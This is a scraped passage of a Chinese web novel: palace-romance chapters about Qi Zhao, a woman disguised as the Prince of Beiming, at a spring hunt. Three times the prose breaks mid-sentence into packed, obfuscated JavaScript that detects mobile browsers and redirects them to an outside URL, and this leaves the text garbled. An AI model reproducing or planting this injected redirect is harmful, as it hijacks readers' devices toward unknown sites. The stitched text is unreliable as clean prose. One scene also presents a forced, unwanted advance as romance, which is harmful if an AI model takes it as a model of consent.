身旁,千洦宗的白衣修士们静立一隅,仙气缥缈,眸含微光,似是察觉到了什么,却又闭口不言,只安静观局。 春猎大典即将开始,鼓乐声起。 祈昭收回目光,轻轻拍了拍安安的手,声音恢复了平日的冷肃沉稳。 她是北冥王,今日在此,便要守好自己的位置,护好身边的人,稳住全场格局。 只是无人知晓,在她心底最深处,那枚被遗忘了三年的弦,忽然轻轻颤了一下。 仿佛有什么人,正从远方而来, 正踏着春风,穿过猎场烟尘, 即将,重新出现在她的生命里。 春猎大典的鼓点已落,猎场四周旌旗猎猎,北冥、南冥、各大氏族、千洦宗仙门尽数列席,可那座象征着新晋顶尖势力的安淮王主帐,依旧静悄悄的,连一道车帘都未曾掀开。 无人敢探,无人敢问,只当那位神秘的新贵王者性情孤僻、不与世俗同流。 祈昭立在北冥的席位旁,玄色劲装衬得她身姿挺拔,眉眼清冽如寒玉,三年帝王气养在骨血里,冷而不厉,威而不怒。 身侧忽然飘来一阵清淡的云气香。 是千洦宗的掌门师尊。 谁也未曾想到,这位修仙界执牛耳者,竟生得这般年轻,白衣胜雪,眉目温润,周身带着不染尘俗的仙气,缓步上前,对着北冥、南冥两位王爷微微颔首见礼,礼数周全,语气平和: “千洦宗迟晏,见过北冥王、南冥王。” 祈昭淡淡抬手回礼,声线稳沉:“师尊客气。” 一旁的南冥王魏悝,顺势上前半步。 他生得极是飒爽俊朗,身形挺拔如松,肩宽腰窄,一身暗红色猎装穿在身上,张扬又利落,做事果决干脆,待人却素来温和有礼,是京中无数贵女心头的良人,偏偏也是个坚决不纳妃、不立侧室的主,与祈昭如出一辙。 此刻,魏悝的目光落在祈昭脸上,看着看着,心底又悄悄泛起那股说不清道不明的遗憾。 眼前这人,生得这般俊朗夺目,鼻梁挺直,唇线清晰,偏偏眉眼深处藏着一丝极淡极软的女儿气,不细看根本察觉不到,清隽得像一幅浸了月光的画。 他一直认定,祈昭是世间少有的君子,风骨凛然,心性纯粹,是他最敬佩的对手,也是最交心的知己。 可每每对视,他都忍不住在心底轻叹一声—— 可惜,是个男子。 若祈昭是女子,他大概会毫不犹豫地求亲,护她一生。 只可惜,天命弄人,两人皆是执掌一方的王爷,注定只能并肩而立,不能心生旁骛。 魏悝压下心头那点莫名的怅然,唇角勾起一贯温和的笑,声音爽朗:“北冥王,今年春猎,可要比一比?谁猎的白狐多,谁便做东。” 祈昭微微勾唇,难得露出一点浅淡的笑意:“奉陪到底。” 两人说话间,不远处的安淮王帐帘轻轻动了一下,又迅速归于平静,像是什么都没发生。 没有人注意到那一丝微不可查的异动,更没有人知道,帐内之人,与祈昭纠缠了整整十余年,消失三年,如今已站在了与皇权平齐的高度,静静注视着他的王。 祈昭指尖无意识地轻捻着腰间玉佩,目光扫过那座安静得诡异的营帐,心底莫名一紧。 说不清是为何,只觉得今日这场春猎,绝不会平静。 而魏悝还在一旁温和地说着话,风度翩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261140|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翩,引得不远处的贵女们频频侧目。 他温柔,他飒爽,他受人倾慕,可他心里那点关于“北冥王若是女子”的遗憾,也同祈昭藏着女儿身的秘密一样,埋得深深的,无人知晓。 风掠过猎场,卷起一阵青草与硝烟的气息。 大典将始,暗流涌动。 有人藏着身份,有人藏着心意,有人藏着三年未说出口的牵挂。 而那位始终未曾露面的安淮王,便如一颗悬在头顶的星,亮得惊人,却始终不肯露出真容。 千洦宗掌门刚告退,一旁便有宫女捧着玉碗轻步上前,屈膝躬身:“北冥王,陛下特意吩咐御膳房为您备的银羹汤。” 祈昭垂眸一看那碗的纹样,便心知肚明。 这哪是御膳房做的,分明是萧惊渊亲手捣鼓出来的。 整个宫里,也就他敢用这种刻着北冥专属暗纹的碗,装这种……一看就不太妙的东西。 她嘴角几不可查地抽了一下。 推是推不掉的,萧惊渊的心意,当着这么多人的面,总不能拂了他的面子。 祈昭端起碗,硬着头皮浅浅尝了一口。 ……果然,难喝得很直接。 甜不是甜,咸不是咸,羹底还带着点莫名的焦糊味,入口一言难尽。 她面上却半点不显,依旧是那副淡漠平静的模样,只喉间轻轻滚了一下,便咽了下去。 一旁的安安仰着小脑袋,瞧着舅舅一本正经喝汤的样子,好奇得眼睛发亮: “舅舅,这个汤好喝吗?安安也想尝一口!” 祈昭刚想阻止,小姑娘已经踮着脚凑了过来。 她无奈,只得用小勺子舀了一丁点,喂进安安嘴里。 下一秒—— 安安那张粉雕玉琢的小脸,瞬间僵住。 眉头紧紧皱起,小嘴抿成一条直线,圆溜溜的眼睛瞪得大大的,腮帮子鼓鼓的,咽也不是,吐也不是,整张脸从吃完那一口起,就再也没好过。 小姑娘艰难地把那口羹咽下去,半天没敢说话,小表情委屈又痛苦,看得旁边伺候的宫女都憋笑憋得肩膀发抖。 祈昭看着她这副小可怜样,没忍住,低低笑了一声。 这是她今日第一次真正放松下来的笑意,清浅又柔和,瞬间冲淡了一身冷冽。 她伸手轻轻揉了揉安安的头顶,声音放软: “不好喝吧?” 安安用力点头,小短手紧紧抱住她的胳膊,小声嘀咕: “舅舅……这个汤,比药还难喝……” 不远处的高台上,萧惊渊将这一幕尽收眼底,唇角不自觉往上扬了扬。 虽然知道自己厨艺不怎么样,但能看见她难得笑一次,好像……也不算白费功夫。 风轻轻吹过猎场, 一派热闹祥和之下, 那座始终紧闭的安淮王帐内, 一道目光静静落在祈昭带着笑意的侧脸上,沉寂了三年的眼底,终于泛起一丝极淡的波澜。 春猎宴开,礼乐声起。 祈昭按礼数起身,执酒樽上前,走到高台之下,给上座的帝王萧惊渊敬酒。 她垂眸,姿态恭敬得体,声音清冷淡漠,挑不出半分错处: “臣,祈昭,敬陛下。愿陛下江山永固,国泰民安。” 一饮而尽。 萧惊渊刚要开口,就见她垂着眼帘,身形微倾,用只有两人能听见的气音,面无表情地丢出一句: “你做的汤真他妈难喝,喂猪都不喝。” 萧惊渊:“……” 下一秒,祈昭直起身,脸上瞬间挂上一抹恰到好处、疏离又温和的笑,微微颔首: “殿下,臣先告退。” 变脸快得像翻书。 转身要走时,她目光一扫,精准锁定了萧惊渊面前碟子里仅剩的两块桃花酥——那是他最爱、平时谁碰谁倒霉的点心。 祈昭眼皮都没抬一下,伸手,干脆利落地两块全拿走,掌心一拢,揣得干干净净。 萧惊渊看着瞬间空掉的小碟子,嘴角抽了抽,愣是没敢出声。 周围的大臣、千洦宗的仙者、南冥王魏悝,全都看在眼里,只当是陛下宠信北冥王,任由他随意拿取东西,一个个心里羡慕,却没人敢多说一句。 祈昭揣着桃花酥,面不改色走回自己席位,低头把酥饼塞给眼巴巴望着她的安安。 “吃。” 安安眼睛一亮,小口小口啃得香甜。 不远处,那座始终紧闭的安淮王帐内,一道视线落在她那串行云流水、嚣张又自然的动作上,沉寂了三年的唇角,几不可查地、极轻地往上挑了一下。 还是跟以前一样,半点亏都不肯吃。 45. 王生来这样·十五 春猎宴散,暮色四合。 萧惊渊被几位白发长老拦在主帐前,商议着南冥与千洦宗的盟契细节,只能冲祈昭递了个歉意的眼神。祈昭抱着胳膊,想起那碗“致命”的银羹汤,心里冷哼一声,连个回眸都欠奉,拂袖便走。 她先将安安送回客院,看着小丫头抱着最后一块桃花酥,心满意足地钻进被窝,才转身离开。行至千洦宗弟子所居的偏院区域,一阵嘈杂的打骂声忽然刺破了夜的宁静。 “装什么清高!若不是师尊瞧你这副小白脸模样可怜,怎会让你顶替我师弟来参加春猎?” “就是!一个连灵根都测不清晰的杂役,也配跟我们这些内门弟子同席?” 祈昭脚步一顿,循声走近墙角。月光下,只见几个醉醺醺的千洦宗弟子,正围着一个缩在地上的少年推推搡搡。 那少年蹲在地上,双手护着头,身形单薄得像一片纸。墨绿偏白的发丝凌乱地垂落,遮住了大半张脸,只露出一截皙白的下颌。他穿着一身洗得发白的弟子服,肩头被扯得歪斜,嘴角磕破了,一缕鲜红的血珠顺着下巴滴在衣襟上,触目惊心。 “让你躲!”一个高个弟子恼羞成怒,抬脚便往他腰上踹去,“师尊瞎了眼才收你这种废物,今天非替师门好好教训教训你!” 少年被踹得身形一晃,却硬是没倒,也没出声求饶。只是在那弟子再次抬脚时,他猛地抬头,一双淡淡的浅粉色眼眸在月光下亮得惊人,里面没有恐惧,只有一股倔强的、属于少年人的傲岸之气。 “住手。” 清冷的声音骤然响起,如同冰珠砸在玉盘上,带着不容置疑的威压。 那几个弟子动作一僵,纷纷回头。只见祈昭负手而立,一身玄色王袍在夜风中猎猎作响,眉眼间带着凛冽的寒意。北冥王的令牌挂在腰间,在月色下泛着冷光。 “北、北冥王?”醉意瞬间醒了大半,高个弟子强装镇定,拱手道,“我等乃是千洦宗弟子,正在教训门中顽劣之徒,与王爷无关……” “无关?”祈昭缓步走近,目光扫过地上少年的伤口,眼神更冷,“千洦宗的门规,就是让你们以多欺少,恃强凌弱?” “王爷误会了,他……” “本王不想听解释。”祈昭抬手,直接打断。她习武多年,出手极快,众人只觉眼前一花,伴随着几声沉闷的“扑通”声,那几个刚才还嚣张跋扈的弟子,已经挨个倒在地上,昏了过去。 她甚至没怎么用力,只是精准地劈在每个人的颈后,干净利落。 解决完麻烦,祈昭才转身看向地上的少年,语气放缓了些:“没事了,起来吧。” 少年缓缓松开护着头的手,撑着地面,慢慢站起身。 下一秒,祈昭愣住了。 她原本以为,这是个瘦小可怜的小师弟,顶多到她肩膀。可少年一站直,她才发现,对方竟然差不多比她高了一个头! 月光下,少年身形颀长,只是刚才蹲在地上才显得娇小。墨绿的发丝被夜风拂开,露出一张清秀绝伦的脸,眼角眉梢带着未脱的稚气,却因那一身凛然的傲骨,显得格外挺拔。 空气瞬间安静了两秒。 祈昭维持着伸手想扶他的姿势,指尖悬在半空,略有些尴尬。她清了清嗓子,若无其事地收回手,背在身后,依旧是那副淡漠的模样:“伤得重不重?” 少年摇了摇头,抬手擦了擦嘴角的血,动作有些生涩。他垂眸,对着祈昭恭敬地行了一礼,声音带着少年人的清润,却又透着几分疏离:“多谢王爷出手相救。弟子千洦宗云辞,感激不尽。” “云辞?”祈昭挑眉,想起千洦宗那位年纪尚轻的掌门,“你是掌门的弟子?” 云辞点头,又摇了摇头:“只是记名弟子,尚未正式拜师。” 祈昭看着他脸上的伤口,以及那身明显不合身的旧衣,心里大概明白了几分。无非是资质特殊却出身低微,遭人嫉妒罢了。 她从怀中掏出一个小巧的瓷瓶,扔了过去:“这是金疮药,涂在伤口上,明日便好。” 云辞抬手稳稳接住,瓷瓶入手微凉。他看着祈昭,浅粉色的眼眸里闪过一丝诧异,似乎没想到这位传闻中冷酷的北冥王,会如此细心。 “多谢王爷。”他再次道谢,紧紧攥着瓷瓶。 “不必。”祈昭摆了摆手,目光扫过地上昏过去的几人,“今晚之事,本王会跟你家掌门提一句。回去好好休息,再有人找你麻烦,便报我的名字。” 说完,她转身便走,步伐依旧从容,只是耳根悄悄泛红。 走出去几步,身后传来少年清越的声音:“王爷!” 祈昭回头:“何事?” 云辞站在原地,月光洒在他身上,勾勒出挺拔的轮廓。他对着祈昭深深一揖,一字一句道:“今日之恩,云辞没齿难忘。日后若王爷有需,云辞赴汤蹈火,在所不辞!” 祈昭看着他眼中的坚定,嘴角勾起一抹极淡的弧度,挥了挥手,消失在夜色中。 夜色渐深,林间晚风带着春夜的微凉拂过脸颊。祈昭摆脱了千洦宗偏院的闹剧,刚松了口气,朝着自己的寝帐方向缓步走去,打算卸去劲装梳洗一番。 她的寝帐设在僻静处,守卫都被她提前遣退,图个清净。刚掀帘而入,反手将帐门落下,还未等转身,身后忽然传来一声极轻的衣袂破空声。 祈昭心头一紧,刚要回头,一道带着淡淡酒气的温热身影已经贴了上来。 是萧惊月。 大靖长公主,萧惊渊一母同胞的亲姐姐,一身武艺不输沙场将领,生得明艳飒爽,身形高挑,足足比祈昭高出一个头,眉眼间带着常年习武的英气与张扬。 祈昭愣了一瞬,下意识后退一步:“长公主?你怎么会在这里?” 萧惊月没有回答,只是抬手,指尖轻轻抵在帐门木框上,直接将她整个人圈在了怀里与帐壁之间,居高临下地看着她,眼底带着几分酒后的灼热,却又清醒得可怕。 “祈昭,”她开口,声音比平日里低沉几分,带着压抑了许久的滚烫,“本公主等你很久了。” 祈昭心头莫名一慌,强装镇定:“长公主有话不妨直说,臣……” “直说?”萧惊月低笑一声,酒气轻拂在她额发上,“好,那本公主就跟你直说。这三年,我看着我弟弟萧惊渊对你掏心掏肺,日日盯着你,满朝都传他是断袖,我愁得几夜没合眼。” 祈昭怔住:“……” “我愁他糊涂,愁他违逆祖制,愁他把皇室脸面丢尽。”萧惊月的指尖,轻轻落在她的脸颊边缘,温度烫人,“可愁着愁着,我忽然想通了——与其让我弟弟一头栽进去,不如我把你抢过来。” “长公主!”祈昭猛地抬眼,神色惊变,“你醉了!” “我没醉。”萧惊月摇头,目光灼灼地锁着她,“我清醒得很。祈昭,我喜欢你。不是兄弟义气,不是同僚之谊,是想娶你、想把你捧在手心、想与你共度一生的那种喜欢。” 直白、滚烫、毫无遮掩。 祈昭彻底懵了。 她与萧惊月相识三年,素来以兄弟相称,一起骑马、一起议事、一起喝酒笑闹,她一直把对方当成最信任的挚友,从未想过……从未想过会有这一刻。 “你疯了!”祈昭挣扎着想推开她,可萧惊月自幼习武,力气远胜她,手臂一收,直接将她牢牢摁在原地,动弹不得。 “我没疯。”萧惊月低头,呼吸渐乱,“父皇绝不会允许惊渊断袖,可我不一样。我是长公主,我要娶你,谁也拦不住。祈昭,跟我在一起,我护你一辈子。” 她一边说,一边伸手,想去抚祈昭散落下来的发丝。 而此刻的祈昭,方才宴上穿的还是紧绷的猎装,本就打算在此更衣梳洗,外袍早已松垮,肩线滑落一半,露出半截白皙的锁骨,腰间的束胸布带正松松垮垮挂在指尖,只差最后一扯便能卸下。 被萧惊月这么一摁一逼,她慌乱之下手脚发软,整个人失去平衡,往后一靠,原本就松了的猎装直接从肩头滑了下去。 “嘶——” 萧惊月的动作,骤然僵在半空。 眼前那副她心心念念了许久的“清俊小公子”模样,瞬间崩裂。 松垮的衣料滑落,纤细却玲珑的肩颈线条毫无保留展露,束胸被挣得松散,曲线分明。 那张平日里冷冽清隽的脸,此刻惊得泛红,眼尾微微上挑,哪里还有半分男子气概,分明是个娇美动人、被吓得手足无措的少女。 萧惊月:“…………” 她维持着摁人的姿势,居高临下盯着祈昭,足足愣了三息,瞳孔微缩,脱口而出一句震惊到破音的话: “我靠……祈昭?你、你是女的?” 祈昭脸色惨白,慌忙扯过衣服往身上裹,双手死死捂住胸口,又羞又怒又怕,声音都在发颤:“萧惊月!你出去!立刻出去!” 萧惊月却像是没听见,缓缓收回手,盯着她看了半晌,先是一脸天塌下来的错愕,紧接着,那点错愕忽然化作了狂喜,最后长长叹了一口气,又气又笑,眼底的灼热比刚才更甚。 她抬手,轻轻揉了揉眉心,无奈又宠溺地低笑: “行啊你,祈昭。瞒得我好苦。” “我还天天愁我弟弟要当断袖,天天想着把你这个‘小娇男’抢过来断了他的念想……合着闹了半天,你根本就是个小娇女?” 祈昭又气又急,眼眶都红了:“萧惊月!我们是兄弟!你放开我!” “兄弟?”萧惊月挑眉,再次上前一步,伸手轻轻松松就把她往怀里一带,身高差彻底碾压,低头看着她炸毛又慌乱的小模样,心都酥了,“现在知道叫兄弟了?晚了。” 她指尖轻轻拂过祈昭泛红的眼角,声音放得又低又柔,带着势在必得的温柔: “没事。男的我喜欢,女的我更喜欢你。” “小娇男我要抢,小娇女我更要定了。” 话音落下,她微微低头,朝着祈昭的唇瓣靠近,酒气混着淡淡的花香逼近。 “来吧,小宝贝……” “不要!!” 祈昭吓得魂都快飞了,猛地偏头躲开,双手死死捂住自己的嘴,整个人缩在她怀里拼命挣扎,眼泪都快被逼出来了。 “萧惊月!你清醒一点!我只把你当朋友!当兄弟!” “你放开我!不然我喊人了!” “我们三年交情,你不能这么对我!” 萧惊月被她喊得心头发软,看着她吓得浑身发抖、眼眶通红的模样,又舍不得逼得太紧,只能停下动作,轻轻把她圈在怀里,低头哄着,语气又无奈又认真: “我没糊涂,祈昭。我是真的喜欢你。” “以前喜欢你是兄弟,现在知道你是女儿身,我只想娶你。” “你别怕,我不逼你,但是……你这辈子,只能是我的。” 帐内灯火摇曳,将两道纠缠的身影拉得很长。 一人慌乱无措,死死护着自己的秘密与尊严; 一人强势温柔,身高碾压,心动彻底失控。 春猎的夜色,在此刻,彻底乱了。 帐外的脚步声由远及近。 萧惊渊手里提着一沓还温热的桃花糕,指尖还沾着点糕点的甜香,原本是想着刚才羹汤得罪了人,特意又去膳房温了点心来哄人,连守卫都被他屏退,亲自掀帘而入。 下一瞬,他手里的桃花糕“哐当”一声砸在脚边。 帐内灯火昏暖,他亲眼看见—— 自己的亲姐姐萧惊月,居高临下地把衣衫不整、发丝凌乱的祈昭圈在怀里,少女雪白的肩头半露,束胸松散,整张脸又惊又慌,眼眶都红了。 而萧惊月低头看着怀中人,语气又宠又笃定,一字一句,清清楚楚砸进萧惊渊耳朵里: “男的我喜欢,女的我更要。没事,小宝贝,我护着你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我有什么不敢!” 姐弟俩彻底疯魔,互相推搡着嘶吼,声音大得能掀翻帐顶。 祈昭站在中间,被这两句震得大脑一片空白,整个人呆若木鸡,连束胸都忘了拢。 她终于反应过来,伸手想去拉架,声音发颤:“别、别吵了……你们别推了……” 她刚伸手碰了碰萧惊渊的胳膊。 少年帝王像是被触动了机关,瞬间反手握住她的手,指尖发烫,死死攥着不放,满眼都是她:“祈昭你别管,我今天必须把她赶出去!” 她又慌忙去拉萧惊月。 长公主更是直接反手扣住她的手腕,往怀里一带,强势又温柔:“昭昭别怕,有我在,他不敢动你。” 两只手,一边一只,全都牢牢扣着她。 祈昭:“……” 她整个人僵在原地,彻底被整不会了。 劝也劝不住,拉也拉不开,一碰就被抓着手不放,左右都是滚烫的温度,耳边是姐弟俩撕心裂肺的争抢,眼前是两人为她疯魔的模样。 她沉默了。 干脆一言不发,默默往后退了两步,迅速扯过衣袍把自己裹得严严实实,束胸系紧,头发拢好,安安静静退到角落,像个无辜的旁观者。 然后抬眼,面无表情地看着眼前这对为她大打出手、逆天发言、彻底疯魔的皇室姐弟。 帐内灯火摇晃。 姐弟俩还在互相推搡、嘶吼、抢人。 萧惊渊:“她是我的!” 萧惊月:“她是我的!” 而被争抢的北冥王祈昭,裹紧衣服缩在角落,一脸生无可恋,只觉得这春猎的夜,真是荒唐又要命。 帐内吵得天翻地覆,萧惊渊和萧惊月姐弟俩你推我搡、互不相让,一个拽胳膊一个扯袖子,帝王威仪和长公主风度全丢得一干二净,活像抢糖吃的稚童。 祈昭站在角落,裹得严严实实,看着眼前这闹剧,终于无奈地长长叹了口气。 她目光一扫,瞥见桌案上竟还摆着一碟待客用的瓜子,也不管什么王爷仪态了,迈步走过去,伸手直接抓了一大把,往旁边椅子上一坐,翘起腿,咔嗒咔嗒地嗑了起来。 一边嗑,一边淡定围观眼前这场皇室姐弟争风大戏,神情自如得像在看一场与自己无关的杂耍。 萧惊渊吼得脸红脖子粗:“你要不要脸!她是我先护着的!” 萧惊月也不甘示弱:“你懂什么!我跟她是过命的兄弟!” 两人打得衣襟散乱,发冠歪斜,谁也不肯让谁。 祈昭嗑着瓜子,时不时轻飘飘劝一句: “别吵了……” “差不多得了……” “注意点形象,你们是皇室……” 劝架语气平淡得像在说今天天气不错。 姐弟俩打得筋疲力尽,气喘吁吁地停下动作,一转头,看见祈昭悠哉嗑瓜子、一脸事不关己的模样,瞬间齐齐僵住。 两人异口同声,几乎是吼出来: “祈昭!你到底选谁!” 声音震得帐顶都颤了颤。 祈昭手上嗑瓜子的动作一顿,抬眸,淡淡扫了他们一眼,然后慢悠悠把手里剩下的瓜子壳丢进碟子里,拍了拍手,站起身。 下一秒,她直接鼓起掌,掌声清脆,语气平静得可怕: “精彩,真精彩。” “闹够了吗?闹够了就赶紧出去,本王要休息了。” 她是真的要疯了。 女儿身被撞破,被好兄弟表白,被皇帝青梅抢人,现在还要看一对皇室姐弟为她吵到逆天发言,而她,只想安安静静睡个觉。 萧惊渊、萧惊月:“……” 两人彻底傻在原地,看着祈昭那张写满“我累了,毁灭吧”的冷漠脸,一时竟不知道该继续吵,还是该转身走人。 帐内终于安静下来,只剩下祈昭淡淡的一句: “不送。” 46. 王生来这样·十六 天色微亮,晨雾漫过猎场山林,号角声划破长空——春猎正式开猎。 此次春猎为期整整半个月,以最终猎物多寡定胜负,冠军赏赐极厚:一座边城封地,或是黄金万两。可在场谁都清楚,真正叫人眼红的,是陛下松过口的半分江山实权,这才是所有宗室权贵拼命的缘由。 祈昭一早便换了专属春猎的劲装,墨色衣料镶着暗银云纹,收腰利落,衬得身姿挺拔又利落。头发没有全盘起冠,而是半扎半束,额前碎发轻垂,脑后一束高马尾随风轻扬,少了平日朝堂上的冷峻,多了几分少年般的飒爽英气,一眼望去便叫人移不开眼。 她刚牵马走到集结地,身后便传来一声清润恭敬的呼唤。 “王爷。” 祈昭回头,一眼便看见站在树下的云辞。 少年依旧是那身千洦宗弟子服,墨绿泛白的长发梳理得整齐,昨日脸上的擦伤与嘴角的血痕已经淡得几乎看不见,肌肤恢复白皙剔透,唯有浅粉色的眼眸在晨光里格外柔和。显然是用了她给的金疮药,恢复得极好。 “伤口无碍了?”祈昭驻足,语气平淡却带着几分关心。 云辞微微躬身,态度恭谨却不卑微:“托王爷的福,已大好。多谢王爷昨日赠药相救。” 他站得笔直,身形依旧比祈昭高出一个头,明明是受助的一方,却自有一股清傲风骨,并不显得怯懦。 两人正说着,身后两道截然不同的气息逼近。 是萧惊渊与萧惊月。 姐弟俩昨夜闹到不欢而散,今日见面依旧满肚子赌气,谁也不先理谁,擦肩而过时齐齐侧头互翻白眼,一个冷着脸抿唇,一个挑着眉嗤笑,气氛僵得能结冰。 可萧惊月仿佛彻底忘了昨夜自己又搂又告白的荒唐德行,下一秒就像没事人一样,大步一跨,熟稔地往祈昭身上靠,胳膊自然地搭在她肩头,笑得张扬又明媚: “昭昭,等会儿跟我一组?我护着你,保证猎物管够。” 她身高本就比祈昭高,这么一搭,亲昵又自然,全然一副好兄弟架势,只眼底深处藏着一丝不易察觉的在意。 祈昭还没应声,一旁的萧惊渊重重咳了一声,眼神冷飕飕扫过萧惊月搭在祈昭肩上的手,却没有像昨夜那样发疯争抢。 他心里比谁都清楚—— 萧惊月这次回来不过是小住,最多一两月,便要重新启程远赴南疆游历。等她一走,祈昭身边,终究还是只有他一个。 想通这一点,少年帝王反倒沉下心,懒得再跟姐姐胡闹纠缠,只淡淡瞥了一眼,牵着自己的白马走到祈昭另一侧,声音清冷却纵容: “你的马我已让人喂饱,箭簇也备足了。万事小心。” 一句话,不动声色宣示了亲近。 祈昭被两人一左一右夹在中间,只觉得太阳穴突突直跳,干脆往后退了半步,拉开距离,翻身上马,缰绳一拉。 “开猎了。” 她丢下一句,策马先一步冲入晨雾山林。 飒爽身影转瞬消失在林间,只留下身后还在暗自较劲的皇室姐弟,和站在原地、静静望着她背影、浅粉色眼眸微垂的云辞。 春猎半月,方才开始。 暗流与心意,才刚刚铺开。 不过一两个时辰,猎场计分木牌上,祈昭的名字已经稳稳钉在第一,猎物数量远超旁人,箭无虚发,利落得让随行侍卫都暗自惊叹。她见猎物已足够冲击冠军,便放缓了马速,打算在林间稍作休整。 正要转身,一阵细细小小的、压抑的哭声,忽然从密林深处飘了过来,断断续续,听得人心头发紧。 祈昭当即勒住马,循着声音找了半刻钟,终于在一片荆棘丛旁,看见了缩在地上的人。 是齐家王妃元氏。 此刻她早已没了王府里的端庄体面,裙摆被树枝划破,鬓发凌乱,正抱着自己的脚踝缩成一团掉眼泪。一问才知,竟是被她的夫君齐王世子亲手扔在这里——嫌她走路慢、碍眼,耽误他狩猎抢功,竟直接将新婚不久的妻子丢在荒林里不管不顾。 祈昭脸色当即沉了下来。 她最见不得这般薄情寡义、欺辱弱女的行径。 蹲下身轻轻撩开国王妃的裙摆,只见脚踝已经肿得老高,皮肉擦破渗血,显然是摔倒时扭断了腕筋,根本无法行走。祈昭二话不说,抽出自己衣摆内侧常备的软布条,动作轻柔又稳当,快速为她包扎固定,力道控制得极好,生怕弄疼了对方。 “王妃忍一忍。” 话音落,祈昭俯身,一手稳稳托住王妃的背,一手揽住膝弯,轻轻松松将人打横抱了起来。 明明身形不算格外高大,这一刻却男友力爆棚,沉稳又可靠。 她小心翼翼将元氏放在自己的马背上,牵着缰绳慢慢往营地走,一路护得周全,半点没有王爷的架子。 回到营地时,元氏早已哭得眼眶通红,拉着祈昭的手连连道谢,声音哽咽不止。可就在她抬手抹泪时,忽然僵住——手指往发髻上一摸,瞬间脸色惨白。 “我的发簪……”她浑身发抖,眼泪掉得更凶,“是我娘亲病逝前留给我的遗物,是我唯一的念想……方才摔倒时不见了……” 她脚踝重伤,根本无法再入林寻找,若是被野兽叼走、或是被旁人捡去不还,这遗物便彻底找不回来了。 祈昭看着她哭得几近崩溃的模样,心下一软,当即拍了拍她的肩。 “王妃安心在此等候,你的脚不能再动。” “发簪,我替你去找。” 不等元氏反应过来,祈昭已经翻身上马,再次掉头冲入密林,背影利落又坚定。 晨风吹起她半扎的发丝,墨色猎衣掠过林间光影,明明已是积分榜第一,却甘愿放弃继续狩猎的时机,只为替一个素不相识的弱女子,寻回一枚微不足道、却重若性命的发簪。 祈昭顺着来时的路线一路低头细寻,指尖拨开层层落叶与荆棘,不放过任何一处角落。走了约莫半刻钟,前方地势变得崎岖,树根盘错,再也无法骑马,她便干脆翻身下马,将马系在树干上,只身轻装往前探寻。 终于,在一丛低矮的灌木丛下,那支银质雕花发簪静静躺在泥土里,正是齐家王妃的遗物。 “找到了。” 她松了口气,弯腰伸手去捡,谁知脚下的灌木丛看似茂密,实则早已枯朽中空,咔嚓一声脆响,地面直接塌陷! 祈昭重心一失,整个人直直往下坠—— 也就两三米的高度,不高不低,结结实实摔在了沟底的软土上。 她狼狈地爬起来,拍了拍身上的灰尘,抬头望了望窄小的沟壁,尴尬地轻咳一声,正准备找地方攀爬上去,目光忽然一凝。 沟底阴影处,盘踞着一条通体漆黑、泛着冷玉光泽的千年巨蟒。 蛇身粗如成年男子腰肢,鳞片细密流光,头顶隐隐有淡金色纹路,一看便知是修行千年的灵蛇,绝非凡物。 祈昭眼睛瞬间亮了。 她从小就痴迷灵宠异兽,多少次托人向仙门求一颗灵蛋都被拒绝,如今眼前竟送上门一条成年灵蛇!看这模样孤身在此,明显是无主之物。 她脑子里瞬间闪过一个念头——占为己有。 甚至还莫名想起以前谢随总受不了她养小蛇小虫,最后还不是乖乖被她征服,帮她收拾笼子。 可就在她压着激动,缓缓伸手想试探着靠近时—— 那巨蟒周身忽然泛起一阵淡淡的黑雾。 下一秒,庞大的蛇身以一种诡异又惊艳的方式扭曲、收缩、化形。 鳞片褪去,蛇身消失。 取而代之的,是一个赤身倒在地上、长发垂地、唇色苍白、遍体鳞伤的少年。 祈昭:“……” 三秒死寂。 “卧槽——他妈变人了!!” 一声凄厉又破音的尖叫冲破喉咙,北冥王平日里冷静飒爽的仪态彻底崩碎,吓得往后一缩,后背狠狠撞在沟壁上,脸色惨白,魂都快飞了。 她怎么也想不到,灵蛇化形这么离谱的事,会真的撞在她眼前。 可惊吓过后,她定睛一看,心又软了。 少年浑身都是深可见骨的伤口,血渗进泥土里,显然是刚经历过一场恶战,虚弱到了极点,看着可怜至极。 祈昭咬咬牙,再不怕了。 她二话不说,直接撕下自己内衫的一截布料,又掏出昨夜剩下的金疮药,蹲下身动作笨拙却认真地给他包扎伤口。 药粉撒上去时,少年疼得轻颤了一下,她还下意识放轻了手。 包完之后,她站起身,拍了拍手,准备爬沟离开。 可刚攀住凸起的石块爬到一半,脚踝忽然一紧—— 一条冰凉柔软的黑色蛇尾,不知何时从少年身下伸出来,牢牢缠住了她的脚腕。 祈昭僵在半空,动都不敢动。 地上的少年缓缓睁开眼,一双竖瞳冷金泛光,声音虚弱却清晰: “你叫什么名字?” 祈昭吓得头皮发麻,脑子一空,本能般报出了自己的名字: “祈、祈昭……” 话音刚落,蛇尾一松。 她几乎是连滚带爬往上冲,慌不择路,脸颊被旁边的枯枝轻轻划开一道浅浅的小疤,渗了点血丝。 她连头都不敢回,疯了一样爬出沟底,拽上马缰策马狂奔,只想逃离这个吓死她的蛇妖大坑。 而沟底之下,少年望着她仓皇逃走的方向,指尖轻轻碰了碰身上的布条,冷金般的瞳孔里,慢慢泛起一丝极淡的光。 祈昭…… 他低声念了一遍这个名字。 从此记在了骨血里。 祈昭将发簪稳稳递到元氏手中,指尖还带着林间的微凉。那支银簪被擦拭得干干净净,雕花纹路在日光下闪着温润的光。元氏攥着簪子,指尖发颤,眼泪瞬间决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 